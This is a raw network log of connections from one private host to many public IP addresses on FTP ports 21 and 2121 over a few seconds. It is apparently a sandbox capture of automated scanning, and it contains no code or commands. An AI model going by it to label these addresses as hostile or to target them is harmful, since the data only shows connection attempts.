Aug 23, 2023 09:14:47.853435993 CEST	2121	50082	58.124.54.51	192.168.2.3
Aug 23, 2023 09:14:47.892575979 CEST	50101	21	192.168.2.3	24.179.202.180
Aug 23, 2023 09:14:47.892818928 CEST	50102	2121	192.168.2.3	24.179.202.180
Aug 23, 2023 09:14:47.892848969 CEST	50103	21	192.168.2.3	183.180.102.141
Aug 23, 2023 09:14:47.899998903 CEST	50104	2121	192.168.2.3	183.180.102.141
Aug 23, 2023 09:14:47.900214911 CEST	50105	21	192.168.2.3	126.145.65.41
Aug 23, 2023 09:14:47.961270094 CEST	50106	2121	192.168.2.3	126.145.65.41
Aug 23, 2023 09:14:48.055109024 CEST	50107	21	192.168.2.3	88.219.14.222
Aug 23, 2023 09:14:48.091502905 CEST	21	50107	88.219.14.222	192.168.2.3
Aug 23, 2023 09:14:48.164154053 CEST	50108	2121	192.168.2.3	88.219.14.222
Aug 23, 2023 09:14:48.172162056 CEST	21	50105	126.145.65.41	192.168.2.3
Aug 23, 2023 09:14:48.194576025 CEST	50045	21	192.168.2.3	88.64.145.143
Aug 23, 2023 09:14:48.200747967 CEST	2121	50108	88.219.14.222	192.168.2.3
Aug 23, 2023 09:14:48.212961912 CEST	50109	21	192.168.2.3	86.163.255.219
Aug 23, 2023 09:14:48.226835966 CEST	50110	2121	192.168.2.3	86.163.255.219
Aug 23, 2023 09:14:48.235054016 CEST	2121	50106	126.145.65.41	192.168.2.3
Aug 23, 2023 09:14:48.257097960 CEST	50046	2121	192.168.2.3	88.64.145.143
Aug 23, 2023 09:14:48.322410107 CEST	50047	21	192.168.2.3	74.71.163.123
Aug 23, 2023 09:14:48.335227013 CEST	50084	2121	192.168.2.3	203.234.232.28
Aug 23, 2023 09:14:48.335231066 CEST	50083	21	192.168.2.3	203.234.232.28
Aug 23, 2023 09:14:48.336282969 CEST	50111	21	192.168.2.3	105.106.153.9
Aug 23, 2023 09:14:48.366492987 CEST	50082	2121	192.168.2.3	58.124.54.51
Aug 23, 2023 09:14:48.368215084 CEST	50112	2121	192.168.2.3	105.106.153.9
Aug 23, 2023 09:14:48.368483067 CEST	50113	21	192.168.2.3	38.163.205.174
Aug 23, 2023 09:14:48.399477005 CEST	50114	2121	192.168.2.3	38.163.205.174
Aug 23, 2023 09:14:48.444633961 CEST	50048	2121	192.168.2.3	74.71.163.123
Aug 23, 2023 09:14:48.465682030 CEST	50115	21	192.168.2.3	122.103.236.101
Aug 23, 2023 09:14:48.590900898 CEST	2121	50084	203.234.232.28	192.168.2.3
Aug 23, 2023 09:14:48.590953112 CEST	21	50083	203.234.232.28	192.168.2.3
Aug 23, 2023 09:14:48.600869894 CEST	50107	21	192.168.2.3	88.219.14.222
Aug 23, 2023 09:14:48.616533995 CEST	50049	21	192.168.2.3	31.13.93.135
Aug 23, 2023 09:14:48.637681961 CEST	21	50107	88.219.14.222	192.168.2.3
Aug 23, 2023 09:14:48.641733885 CEST	2121	50082	58.124.54.51	192.168.2.3
Aug 23, 2023 09:14:48.647768974 CEST	50050	2121	192.168.2.3	31.13.93.135
Aug 23, 2023 09:14:48.664299965 CEST	50116	2121	192.168.2.3	122.103.236.101
Aug 23, 2023 09:14:48.679008961 CEST	50105	21	192.168.2.3	126.145.65.41
Aug 23, 2023 09:14:48.710262060 CEST	50108	2121	192.168.2.3	88.219.14.222
Aug 23, 2023 09:14:48.741585970 CEST	50106	2121	192.168.2.3	126.145.65.41
Aug 23, 2023 09:14:48.750437021 CEST	2121	50108	88.219.14.222	192.168.2.3
Aug 23, 2023 09:14:48.756858110 CEST	21	50115	122.103.236.101	192.168.2.3
Aug 23, 2023 09:14:48.950980902 CEST	21	50105	126.145.65.41	192.168.2.3
Aug 23, 2023 09:14:49.015554905 CEST	2121	50106	126.145.65.41	192.168.2.3
Aug 23, 2023 09:14:49.100931883 CEST	50083	21	192.168.2.3	203.234.232.28
Aug 23, 2023 09:14:49.100984097 CEST	50084	2121	192.168.2.3	203.234.232.28
Aug 23, 2023 09:14:49.147841930 CEST	50051	2121	192.168.2.3	1.239.18.3
Aug 23, 2023 09:14:49.147847891 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:49.147883892 CEST	50082	2121	192.168.2.3	58.124.54.51
Aug 23, 2023 09:14:49.147995949 CEST	50107	21	192.168.2.3	88.219.14.222
Aug 23, 2023 09:14:49.170120955 CEST	50052	21	192.168.2.3	1.239.18.3
Aug 23, 2023 09:14:49.185164928 CEST	21	50107	88.219.14.222	192.168.2.3
Aug 23, 2023 09:14:49.191301107 CEST	50117	21	192.168.2.3	151.213.251.185
Aug 23, 2023 09:14:49.257288933 CEST	50108	2121	192.168.2.3	88.219.14.222
Aug 23, 2023 09:14:49.272809982 CEST	50115	21	192.168.2.3	122.103.236.101
Aug 23, 2023 09:14:49.286032915 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:49.286154985 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:49.288428068 CEST	50053	21	192.168.2.3	167.89.33.6
Aug 23, 2023 09:14:49.288739920 CEST	50055	21	192.168.2.3	51.241.164.162
Aug 23, 2023 09:14:49.294347048 CEST	2121	50108	88.219.14.222	192.168.2.3
Aug 23, 2023 09:14:49.297322989 CEST	50118	2121	192.168.2.3	151.213.251.185
Aug 23, 2023 09:14:49.304066896 CEST	50054	2121	192.168.2.3	167.89.33.6
Aug 23, 2023 09:14:49.304384947 CEST	50057	21	192.168.2.3	175.229.215.200
Aug 23, 2023 09:14:49.304392099 CEST	50056	2121	192.168.2.3	51.241.164.162
Aug 23, 2023 09:14:49.357606888 CEST	2121	50084	203.234.232.28	192.168.2.3
Aug 23, 2023 09:14:49.357639074 CEST	21	50083	203.234.232.28	192.168.2.3
Aug 23, 2023 09:14:49.358601093 CEST	50119	21	192.168.2.3	112.145.51.143
Aug 23, 2023 09:14:49.358616114 CEST	50120	2121	192.168.2.3	112.145.51.143
Aug 23, 2023 09:14:49.366655111 CEST	50059	21	192.168.2.3	125.185.15.162
Aug 23, 2023 09:14:49.382194042 CEST	50058	2121	192.168.2.3	175.229.215.200
Aug 23, 2023 09:14:49.398946047 CEST	50121	21	192.168.2.3	221.141.105.65
Aug 23, 2023 09:14:49.398969889 CEST	50122	2121	192.168.2.3	221.141.105.65
Aug 23, 2023 09:14:49.415323973 CEST	50060	2121	192.168.2.3	125.185.15.162
Aug 23, 2023 09:14:49.427381039 CEST	2121	50082	58.124.54.51	192.168.2.3
Aug 23, 2023 09:14:49.443695068 CEST	50123	21	192.168.2.3	14.93.19.10
Aug 23, 2023 09:14:49.460521936 CEST	50105	21	192.168.2.3	126.145.65.41
Aug 23, 2023 09:14:49.491590023 CEST	50065	21	192.168.2.3	119.215.150.186
Aug 23, 2023 09:14:49.491677046 CEST	50064	21	192.168.2.3	122.218.238.129
Aug 23, 2023 09:14:49.491678953 CEST	50068	21	192.168.2.3	104.35.177.234
Aug 23, 2023 09:14:49.491682053 CEST	50067	2121	192.168.2.3	119.215.150.186
Aug 23, 2023 09:14:49.491682053 CEST	50063	2121	192.168.2.3	122.218.238.129
Aug 23, 2023 09:14:49.491904020 CEST	50066	2121	192.168.2.3	104.35.177.234
Aug 23, 2023 09:14:49.522844076 CEST	50070	21	192.168.2.3	106.217.216.175
Aug 23, 2023 09:14:49.522861958 CEST	50106	2121	192.168.2.3	126.145.65.41
Aug 23, 2023 09:14:49.522874117 CEST	50069	2121	192.168.2.3	106.217.216.175
Aug 23, 2023 09:14:49.525702000 CEST	50124	2121	192.168.2.3	14.93.19.10
Aug 23, 2023 09:14:49.525711060 CEST	50125	21	192.168.2.3	178.73.125.6
Aug 23, 2023 09:14:49.525778055 CEST	50126	21	192.168.2.3	79.147.46.161
Aug 23, 2023 09:14:49.525809050 CEST	50127	2121	192.168.2.3	178.73.125.6
Aug 23, 2023 09:14:49.554080009 CEST	50072	2121	192.168.2.3	24.118.6.108
Aug 23, 2023 09:14:49.554121971 CEST	50073	21	192.168.2.3	184.100.218.2
Aug 23, 2023 09:14:49.554178953 CEST	50071	21	192.168.2.3	24.118.6.108
Aug 23, 2023 09:14:49.560551882 CEST	21	50115	122.103.236.101	192.168.2.3
Aug 23, 2023 09:14:49.569750071 CEST	50075	21	192.168.2.3	74.72.202.213
Aug 23, 2023 09:14:49.570133924 CEST	50074	2121	192.168.2.3	184.100.218.2
Aug 23, 2023 09:14:49.570632935 CEST	50128	21	192.168.2.3	125.136.171.112
Aug 23, 2023 09:14:49.571207047 CEST	50129	2121	192.168.2.3	79.147.46.161
Aug 23, 2023 09:14:49.585423946 CEST	50077	21	192.168.2.3	91.232.160.176
Aug 23, 2023 09:14:49.600997925 CEST	50076	2121	192.168.2.3	74.72.202.213
Aug 23, 2023 09:14:49.610449076 CEST	21	50125	178.73.125.6	192.168.2.3
Aug 23, 2023 09:14:49.617307901 CEST	2121	50127	178.73.125.6	192.168.2.3
Aug 23, 2023 09:14:49.617383003 CEST	50078	2121	192.168.2.3	91.232.160.176
Aug 23, 2023 09:14:49.694917917 CEST	50079	21	192.168.2.3	91.136.142.56
Aug 23, 2023 09:14:49.706571102 CEST	21	50123	14.93.19.10	192.168.2.3
Aug 23, 2023 09:14:49.732439995 CEST	21	50105	126.145.65.41	192.168.2.3
Aug 23, 2023 09:14:49.736064911 CEST	50130	2121	192.168.2.3	125.136.171.112
Aug 23, 2023 09:14:49.788558960 CEST	2121	50124	14.93.19.10	192.168.2.3
Aug 23, 2023 09:14:49.796169043 CEST	2121	50106	126.145.65.41	192.168.2.3
Aug 23, 2023 09:14:49.797352076 CEST	50131	21	192.168.2.3	36.68.73.78
Aug 23, 2023 09:14:49.839085102 CEST	50132	2121	192.168.2.3	36.68.73.78
Aug 23, 2023 09:14:49.960361958 CEST	50080	2121	192.168.2.3	91.136.142.56
Aug 23, 2023 09:14:49.975977898 CEST	50081	21	192.168.2.3	58.124.54.51
Aug 23, 2023 09:14:50.011406898 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:50.011565924 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:50.067972898 CEST	50115	21	192.168.2.3	122.103.236.101
Aug 23, 2023 09:14:50.116626978 CEST	50125	21	192.168.2.3	178.73.125.6
Aug 23, 2023 09:14:50.130872011 CEST	50127	2121	192.168.2.3	178.73.125.6
Aug 23, 2023 09:14:50.210422993 CEST	50123	21	192.168.2.3	14.93.19.10
Aug 23, 2023 09:14:50.211214066 CEST	50134	21	192.168.2.3	2.152.90.132
Aug 23, 2023 09:14:50.222893953 CEST	2121	50127	178.73.125.6	192.168.2.3
Aug 23, 2023 09:14:50.274358034 CEST	50135	2121	192.168.2.3	2.152.90.132
Aug 23, 2023 09:14:50.288582087 CEST	50124	2121	192.168.2.3	14.93.19.10
Aug 23, 2023 09:14:50.343969107 CEST	50136	21	192.168.2.3	79.220.188.4
Aug 23, 2023 09:14:50.384994030 CEST	21	50115	122.103.236.101	192.168.2.3
Aug 23, 2023 09:14:50.385885000 CEST	50137	2121	192.168.2.3	79.220.188.4
Aug 23, 2023 09:14:50.462640047 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:50.472666979 CEST	21	50123	14.93.19.10	192.168.2.3
Aug 23, 2023 09:14:50.550893068 CEST	2121	50124	14.93.19.10	192.168.2.3
Aug 23, 2023 09:14:50.569808960 CEST	50087	21	192.168.2.3	23.38.79.227
Aug 23, 2023 09:14:50.569808960 CEST	50090	2121	192.168.2.3	20.125.194.19
Aug 23, 2023 09:14:50.569813967 CEST	50089	21	192.168.2.3	20.125.194.19
Aug 23, 2023 09:14:50.569828987 CEST	50091	21	192.168.2.3	184.161.88.27
Aug 23, 2023 09:14:50.569839954 CEST	50092	2121	192.168.2.3	184.161.88.27
Aug 23, 2023 09:14:50.569845915 CEST	50085	21	192.168.2.3	187.230.183.100
Aug 23, 2023 09:14:50.569848061 CEST	50086	2121	192.168.2.3	187.230.183.100
Aug 23, 2023 09:14:50.581567049 CEST	50088	2121	192.168.2.3	23.38.79.227
Aug 23, 2023 09:14:50.581572056 CEST	50093	21	192.168.2.3	93.2.199.48
Aug 23, 2023 09:14:50.585433006 CEST	50094	2121	192.168.2.3	93.2.199.48
Aug 23, 2023 09:14:50.585453033 CEST	50095	21	192.168.2.3	190.31.154.111
Aug 23, 2023 09:14:50.633119106 CEST	50139	21	192.168.2.3	116.45.167.56
Aug 23, 2023 09:14:50.640865088 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:50.640949011 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:50.648807049 CEST	50140	2121	192.168.2.3	116.45.167.56
Aug 23, 2023 09:14:50.694256067 CEST	50096	2121	192.168.2.3	190.31.154.111
Aug 23, 2023 09:14:50.710416079 CEST	50097	21	192.168.2.3	108.48.144.73
Aug 23, 2023 09:14:50.726069927 CEST	50127	2121	192.168.2.3	178.73.125.6
Aug 23, 2023 09:14:50.750432968 CEST	50098	2121	192.168.2.3	108.48.144.73
Aug 23, 2023 09:14:50.788563967 CEST	50099	21	192.168.2.3	174.163.128.4
Aug 23, 2023 09:14:50.815341949 CEST	2121	50127	178.73.125.6	192.168.2.3
Aug 23, 2023 09:14:50.816184998 CEST	50141	21	192.168.2.3	46.28.181.211
Aug 23, 2023 09:14:50.819799900 CEST	50100	2121	192.168.2.3	174.163.128.4
Aug 23, 2023 09:14:50.821540117 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:50.822035074 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:50.882647991 CEST	50102	2121	192.168.2.3	24.179.202.180
Aug 23, 2023 09:14:50.887857914 CEST	21	50139	116.45.167.56	192.168.2.3
Aug 23, 2023 09:14:50.897949934 CEST	50103	21	192.168.2.3	183.180.102.141
Aug 23, 2023 09:14:50.898089886 CEST	50101	21	192.168.2.3	24.179.202.180
Aug 23, 2023 09:14:50.904232979 CEST	2121	50140	116.45.167.56	192.168.2.3
Aug 23, 2023 09:14:50.913568974 CEST	50104	2121	192.168.2.3	183.180.102.141
Aug 23, 2023 09:14:50.976142883 CEST	50123	21	192.168.2.3	14.93.19.10
Aug 23, 2023 09:14:51.000184059 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:51.000235081 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:51.002290010 CEST	50138	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:51.055469990 CEST	50124	2121	192.168.2.3	14.93.19.10
Aug 23, 2023 09:14:51.168323040 CEST	50142	2121	192.168.2.3	46.28.181.211
Aug 23, 2023 09:14:51.168323040 CEST	50143	21	192.168.2.3	76.16.81.1
Aug 23, 2023 09:14:51.222033024 CEST	21	50138	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:51.226145983 CEST	50110	2121	192.168.2.3	86.163.255.219
Aug 23, 2023 09:14:51.226161003 CEST	50109	21	192.168.2.3	86.163.255.219
Aug 23, 2023 09:14:51.239690065 CEST	21	50123	14.93.19.10	192.168.2.3
Aug 23, 2023 09:14:51.243506908 CEST	50144	2121	192.168.2.3	76.16.81.1
Aug 23, 2023 09:14:51.289403915 CEST	50145	21	192.168.2.3	104.19.99.246
Aug 23, 2023 09:14:51.312067032 CEST	50146	2121	192.168.2.3	104.19.99.246
Aug 23, 2023 09:14:51.315001011 CEST	50147	21	192.168.2.3	49.169.187.14
Aug 23, 2023 09:14:51.319670916 CEST	2121	50124	14.93.19.10	192.168.2.3
Aug 23, 2023 09:14:51.320833921 CEST	50148	2121	192.168.2.3	49.169.187.14
Aug 23, 2023 09:14:51.320847034 CEST	50149	21	192.168.2.3	46.105.32.44
Aug 23, 2023 09:14:51.321921110 CEST	50150	2121	192.168.2.3	46.105.32.44
Aug 23, 2023 09:14:51.351558924 CEST	50111	21	192.168.2.3	105.106.153.9
Aug 23, 2023 09:14:51.366765976 CEST	50113	21	192.168.2.3	38.163.205.174
Aug 23, 2023 09:14:51.366838932 CEST	50112	2121	192.168.2.3	105.106.153.9
Aug 23, 2023 09:14:51.383481979 CEST	50151	21	192.168.2.3	96.255.156.183
Aug 23, 2023 09:14:51.383742094 CEST	50152	2121	192.168.2.3	96.255.156.183
Aug 23, 2023 09:14:51.398009062 CEST	50139	21	192.168.2.3	116.45.167.56
Aug 23, 2023 09:14:51.399514914 CEST	50114	2121	192.168.2.3	38.163.205.174
Aug 23, 2023 09:14:51.415663004 CEST	50140	2121	192.168.2.3	116.45.167.56
Aug 23, 2023 09:14:51.430000067 CEST	50153	21	192.168.2.3	94.145.254.103
Aug 23, 2023 09:14:51.492933989 CEST	50155	21	192.168.2.3	222.113.142.212
Aug 23, 2023 09:14:51.493047953 CEST	50154	2121	192.168.2.3	94.145.254.103
Aug 23, 2023 09:14:51.493541002 CEST	50156	2121	192.168.2.3	222.113.142.212
Aug 23, 2023 09:14:51.494530916 CEST	50158	2121	192.168.2.3	2.154.104.236
Aug 23, 2023 09:14:51.494565010 CEST	50157	21	192.168.2.3	2.154.104.236
Aug 23, 2023 09:14:51.495188951 CEST	50159	21	192.168.2.3	71.224.190.208
Aug 23, 2023 09:14:51.539652109 CEST	50160	2121	192.168.2.3	71.224.190.208
Aug 23, 2023 09:14:51.544264078 CEST	50161	21	192.168.2.3	187.135.24.180
Aug 23, 2023 09:14:51.551718950 CEST	21	50157	2.154.104.236	192.168.2.3
Aug 23, 2023 09:14:51.557207108 CEST	2121	50158	2.154.104.236	192.168.2.3
Aug 23, 2023 09:14:51.557265997 CEST	50162	2121	192.168.2.3	187.135.24.180
Aug 23, 2023 09:14:51.571717978 CEST	50164	2121	192.168.2.3	73.38.174.234
Aug 23, 2023 09:14:51.571722031 CEST	50163	21	192.168.2.3	73.38.174.234
Aug 23, 2023 09:14:51.571880102 CEST	50166	2121	192.168.2.3	174.99.119.14
Aug 23, 2023 09:14:51.571883917 CEST	50165	21	192.168.2.3	174.99.119.14
Aug 23, 2023 09:14:51.602237940 CEST	50168	2121	192.168.2.3	75.143.172.33
Aug 23, 2023 09:14:51.602283955 CEST	50167	21	192.168.2.3	75.143.172.33
Aug 23, 2023 09:14:51.618484974 CEST	50169	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:51.654876947 CEST	21	50139	116.45.167.56	192.168.2.3
Aug 23, 2023 09:14:51.671576977 CEST	2121	50140	116.45.167.56	192.168.2.3
Aug 23, 2023 09:14:51.679563999 CEST	50116	2121	192.168.2.3	122.103.236.101
Aug 23, 2023 09:14:51.695534945 CEST	50170	2121	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:51.810722113 CEST	21	50169	156.245.32.185	192.168.2.3
Aug 23, 2023 09:14:51.810916901 CEST	50169	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:51.977432966 CEST	50171	21	192.168.2.3	173.176.71.228
Aug 23, 2023 09:14:51.977480888 CEST	50172	2121	192.168.2.3	173.176.71.228
Aug 23, 2023 09:14:51.977480888 CEST	50173	21	192.168.2.3	154.28.115.120
Aug 23, 2023 09:14:52.005109072 CEST	21	50169	156.245.32.185	192.168.2.3
Aug 23, 2023 09:14:52.005325079 CEST	50169	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:52.006100893 CEST	50174	2121	192.168.2.3	154.28.115.120
Aug 23, 2023 09:14:52.137260914 CEST	50157	21	192.168.2.3	2.154.104.236
Aug 23, 2023 09:14:52.137336969 CEST	50158	2121	192.168.2.3	2.154.104.236
Aug 23, 2023 09:14:52.190561056 CEST	2121	50158	2.154.104.236	192.168.2.3
Aug 23, 2023 09:14:52.190578938 CEST	21	50157	2.154.104.236	192.168.2.3
Aug 23, 2023 09:14:52.194946051 CEST	50139	21	192.168.2.3	116.45.167.56
Aug 23, 2023 09:14:52.197844028 CEST	21	50169	156.245.32.185	192.168.2.3
Aug 23, 2023 09:14:52.197906017 CEST	50169	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:52.198266983 CEST	21	50169	156.245.32.185	192.168.2.3
Aug 23, 2023 09:14:52.198308945 CEST	50169	21	192.168.2.3	156.245.32.185
Aug 23, 2023 09:14:52.264072895 CEST	50140	2121	192.168.2.3	116.45.167.56
Aug 23, 2023 09:14:52.264163017 CEST	50117	21	192.168.2.3	151.213.251.185
Aug 23, 2023 09:14:52.402339935 CEST	50119	21	192.168.2.3	112.145.51.143
Aug 23, 2023 09:14:52.402362108 CEST	50118	2121	192.168.2.3	151.213.251.185
Aug 23, 2023 09:14:52.402364016 CEST	50120	2121	192.168.2.3	112.145.51.143
Aug 23, 2023 09:14:52.402453899 CEST	50122	2121	192.168.2.3	221.141.105.65
Aug 23, 2023 09:14:52.402462959 CEST	50121	21	192.168.2.3	221.141.105.65
Aug 23, 2023 09:14:52.459628105 CEST	21	50139	116.45.167.56	192.168.2.3
Aug 23, 2023 09:14:52.460769892 CEST	50175	21	192.168.2.3	40.68.252.107
Aug 23, 2023 09:14:52.521306992 CEST	2121	50140	116.45.167.56	192.168.2.3
Aug 23, 2023 09:14:52.522572041 CEST	50176	2121	192.168.2.3	40.68.252.107
Aug 23, 2023 09:14:52.595873117 CEST	50177	21	192.168.2.3	178.33.37.80
Aug 23, 2023 09:14:52.596313000 CEST	50178	2121	192.168.2.3	178.33.37.80
Aug 23, 2023 09:14:52.597625017 CEST	50179	2121	192.168.2.3	20.89.59.62
Aug 23, 2023 09:14:52.597749949 CEST	50181	2121	192.168.2.3	109.122.8.49
Aug 23, 2023 09:14:52.597754002 CEST	50180	2121	192.168.2.3	179.67.21.110
Aug 23, 2023 09:14:52.597776890 CEST	50182	21	192.168.2.3	109.122.8.49
Aug 23, 2023 09:14:52.597796917 CEST	50183	21	192.168.2.3	179.67.21.110
Aug 23, 2023 09:14:52.597883940 CEST	50184	21	192.168.2.3	58.232.200.27
Aug 23, 2023 09:14:52.598520041 CEST	50185	21	192.168.2.3	20.89.59.62
Aug 23, 2023 09:14:52.602227926 CEST	50186	2121	192.168.2.3	58.232.200.27
Aug 23, 2023 09:14:52.602307081 CEST	50187	21	192.168.2.3	45.148.30.136
Aug 23, 2023 09:14:52.612183094 CEST	50129	2121	192.168.2.3	79.147.46.161
Aug 23, 2023 09:14:52.612201929 CEST	50126	21	192.168.2.3	79.147.46.161
Aug 23, 2023 09:14:52.612201929 CEST	50128	21	192.168.2.3	125.136.171.112
Aug 23, 2023 09:14:52.621143103 CEST	21	50177	178.33.37.80	192.168.2.3
Aug 23, 2023 09:14:52.621877909 CEST	2121	50178	178.33.37.80	192.168.2.3
Aug 23, 2023 09:14:52.640269041 CEST	21	50187	45.148.30.136	192.168.2.3
Aug 23, 2023 09:14:52.711750031 CEST	50188	2121	192.168.2.3	45.148.30.136
Aug 23, 2023 09:14:52.711834908 CEST	50189	21	192.168.2.3	106.180.166.6
Aug 23, 2023 09:14:52.718852997 CEST	50158	2121	192.168.2.3	2.154.104.236
Aug 23, 2023 09:14:52.718924999 CEST	50157	21	192.168.2.3	2.154.104.236
Aug 23, 2023 09:14:52.750246048 CEST	2121	50188	45.148.30.136	192.168.2.3
Aug 23, 2023 09:14:52.767225027 CEST	50190	2121	192.168.2.3	106.180.166.6
Aug 23, 2023 09:14:52.770713091 CEST	21	50157	2.154.104.236	192.168.2.3
Aug 23, 2023 09:14:52.771559000 CEST	50191	21	192.168.2.3	87.165.220.115
Aug 23, 2023 09:14:52.775562048 CEST	2121	50158	2.154.104.236	192.168.2.3
Aug 23, 2023 09:14:52.776381016 CEST	50192	2121	192.168.2.3	87.165.220.115
Aug 23, 2023 09:14:52.789522886 CEST	50193	21	192.168.2.3	98.203.111.101
Aug 23, 2023 09:14:52.821314096 CEST	50194	2121	192.168.2.3	98.203.111.101
Aug 23, 2023 09:14:52.882849932 CEST	50130	2121	192.168.2.3	125.136.171.112
Aug 23, 2023 09:14:52.882857084 CEST	50131	21	192.168.2.3	36.68.73.78
Aug 23, 2023 09:14:52.889547110 CEST	21	50184	58.232.200.27	192.168.2.3
Aug 23, 2023 09:14:52.894850969 CEST	2121	50186	58.232.200.27	192.168.2.3
Aug 23, 2023 09:14:52.946643114 CEST	50195	21	192.168.2.3	81.66.188.1
Aug 23, 2023 09:14:52.946754932 CEST	50196	21	192.168.2.3	182.65.111.130
Aug 23, 2023 09:14:52.946923018 CEST	50197	2121	192.168.2.3	182.65.111.130
Aug 23, 2023 09:14:52.947035074 CEST	50198	2121	192.168.2.3	81.66.188.1
Aug 23, 2023 09:14:52.975749016 CEST	21	50195	81.66.188.1	192.168.2.3
Aug 23, 2023 09:14:52.975802898 CEST	2121	50198	81.66.188.1	192.168.2.3
Aug 23, 2023 09:14:53.007735968 CEST	50132	2121	192.168.2.3	36.68.73.78
Aug 23, 2023 09:14:53.119590998 CEST	2121	50197	182.65.111.130	192.168.2.3
Aug 23, 2023 09:14:53.195801020 CEST	50187	21	192.168.2.3	45.148.30.136
Aug 23, 2023 09:14:53.233884096 CEST	21	50187	45.148.30.136	192.168.2.3
Aug 23, 2023 09:14:53.234920979 CEST	50199	21	192.168.2.3	94.2.16.9
Aug 23, 2023 09:14:53.320120096 CEST	50188	2121	192.168.2.3	45.148.30.136
Aug 23, 2023 09:14:53.320122957 CEST	50177	21	192.168.2.3	178.33.37.80
Aug 23, 2023 09:14:53.322185993 CEST	50178	2121	192.168.2.3	178.33.37.80
Aug 23, 2023 09:14:53.334142923 CEST	50200	2121	192.168.2.3	94.2.16.9
Aug 23, 2023 09:14:53.345499992 CEST	21	50177	178.33.37.80	192.168.2.3
Aug 23, 2023 09:14:53.347652912 CEST	2121	50178	178.33.37.80	192.168.2.3
Aug 23, 2023 09:14:53.358673096 CEST	2121	50188	45.148.30.136	192.168.2.3
Aug 23, 2023 09:14:53.382603884 CEST	50137	2121	192.168.2.3	79.220.188.4
Aug 23, 2023 09:14:53.383131981 CEST	50134	21	192.168.2.3	2.152.90.132
Aug 23, 2023 09:14:53.387674093 CEST	50136	21	192.168.2.3	79.220.188.4
Aug 23, 2023 09:14:53.387686014 CEST	50135	2121	192.168.2.3	2.152.90.132
Aug 23, 2023 09:14:53.392497063 CEST	50202	2121	192.168.2.3	154.216.119.141
Aug 23, 2023 09:14:53.392503023 CEST	50201	21	192.168.2.3	154.216.119.141
Aug 23, 2023 09:14:53.393193960 CEST	50203	21	192.168.2.3	160.13.70.35
Aug 23, 2023 09:14:53.426136017 CEST	50204	2121	192.168.2.3	160.13.70.35
Aug 23, 2023 09:14:53.491987944 CEST	50184	21	192.168.2.3	58.232.200.27
Aug 23, 2023 09:14:53.492093086 CEST	50198	2121	192.168.2.3	81.66.188.1
Aug 23, 2023 09:14:53.507652998 CEST	50195	21	192.168.2.3	81.66.188.1
Aug 23, 2023 09:14:53.507652998 CEST	50186	2121	192.168.2.3	58.232.200.27
Aug 23, 2023 09:14:53.520608902 CEST	2121	50198	81.66.188.1	192.168.2.3
Aug 23, 2023 09:14:53.536212921 CEST	21	50195	81.66.188.1	192.168.2.3
Aug 23, 2023 09:14:53.605334044 CEST	21	50201	154.216.119.141	192.168.2.3
Aug 23, 2023 09:14:53.708513021 CEST	21	50203	160.13.70.35	192.168.2.3
Aug 23, 2023 09:14:53.745112896 CEST	2121	50204	160.13.70.35	192.168.2.3
Aug 23, 2023 09:14:53.784481049 CEST	21	50184	58.232.200.27	192.168.2.3
Aug 23, 2023 09:14:53.790879965 CEST	50205	21	192.168.2.3	156.250.253.76
Aug 23, 2023 09:14:53.798782110 CEST	2121	50186	58.232.200.27	192.168.2.3
Aug 23, 2023 09:14:53.823678970 CEST	50197	2121	192.168.2.3	182.65.111.130
Aug 23, 2023 09:14:53.882721901 CEST	50141	21	192.168.2.3	46.28.181.211
Aug 23, 2023 09:14:53.882752895 CEST	50187	21	192.168.2.3	45.148.30.136
Aug 23, 2023 09:14:53.921037912 CEST	21	50187	45.148.30.136	192.168.2.3
Aug 23, 2023 09:14:53.994524956 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:53.996922016 CEST	2121	50197	182.65.111.130	192.168.2.3
Aug 23, 2023 09:14:54.007612944 CEST	50188	2121	192.168.2.3	45.148.30.136
Aug 23, 2023 09:14:54.007627010 CEST	50178	2121	192.168.2.3	178.33.37.80
Aug 23, 2023 09:14:54.007628918 CEST	50177	21	192.168.2.3	178.33.37.80
Aug 23, 2023 09:14:54.019665956 CEST	21	50205	156.250.253.76	192.168.2.3
Aug 23, 2023 09:14:54.033829927 CEST	21	50177	178.33.37.80	192.168.2.3
Aug 23, 2023 09:14:54.033878088 CEST	2121	50178	178.33.37.80	192.168.2.3
Aug 23, 2023 09:14:54.047755003 CEST	2121	50188	45.148.30.136	192.168.2.3
Aug 23, 2023 09:14:54.117033005 CEST	50195	21	192.168.2.3	81.66.188.1
Aug 23, 2023 09:14:54.145837069 CEST	21	50195	81.66.188.1	192.168.2.3
Aug 23, 2023 09:14:54.195158958 CEST	50198	2121	192.168.2.3	81.66.188.1
Aug 23, 2023 09:14:54.195180893 CEST	50201	21	192.168.2.3	154.216.119.141
Aug 23, 2023 09:14:54.195182085 CEST	50142	2121	192.168.2.3	46.28.181.211
Aug 23, 2023 09:14:54.195182085 CEST	50143	21	192.168.2.3	76.16.81.1
Aug 23, 2023 09:14:54.223911047 CEST	2121	50198	81.66.188.1	192.168.2.3
Aug 23, 2023 09:14:54.320250988 CEST	50203	21	192.168.2.3	160.13.70.35
Aug 23, 2023 09:14:54.320421934 CEST	50147	21	192.168.2.3	49.169.187.14
Aug 23, 2023 09:14:54.320482969 CEST	50186	2121	192.168.2.3	58.232.200.27
